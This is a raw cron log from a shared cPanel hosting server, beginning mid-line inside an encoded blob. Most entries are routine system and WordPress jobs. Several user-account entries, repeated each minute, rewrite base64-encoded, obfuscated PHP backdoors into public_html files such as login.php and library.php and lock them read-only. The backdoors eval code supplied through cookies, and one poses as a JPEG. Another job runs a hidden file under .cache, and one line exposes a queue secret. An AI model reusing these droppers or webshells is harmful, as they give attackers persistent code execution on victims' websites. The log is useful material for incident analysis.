iAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:35:01 medusa CROND[26305]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:35:01 medusa CROND[26306]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 04:35:01 medusa CROND[26308]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:35:01 medusa CROND[26310]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:35:01 medusa CROND[26314]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:35:01 medusa CROND[26318]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 04:35:01 medusa CROND[26302]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 04:35:01 medusa CROND[26304]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 04:35:01 medusa CROND[26316]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 04:35:01 medusa CROND[26329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:35:01 medusa CROND[26333]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:35:01 medusa CROND[26334]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:35:01 medusa CROND[26336]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:35:01 medusa CROND[26303]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 04:35:01 medusa CROND[26309]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  2 04:36:01 medusa CROND[12980]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:36:01 medusa CROND[12981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:36:01 medusa CROND[12983]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:36:01 medusa CROND[12982]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 04:36:01 medusa CROND[12991]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:36:01 medusa CROND[12984]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:36:01 medusa CROND[12992]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:36:01 medusa CROND[12994]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:36:01 medusa CROND[12995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:36:01 medusa CROND[12998]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:36:01 medusa CROND[12999]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:36:01 medusa CROND[13001]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:36:01 medusa CROND[13004]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 04:36:01 medusa CROND[13003]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:37:01 medusa CROND[621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:37:02 medusa CROND[784]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:37:02 medusa CROND[787]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 04:37:02 medusa CROND[788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:37:02 medusa CROND[792]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:37:02 medusa CROND[795]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:37:02 medusa CROND[806]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:37:02 medusa CROND[809]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
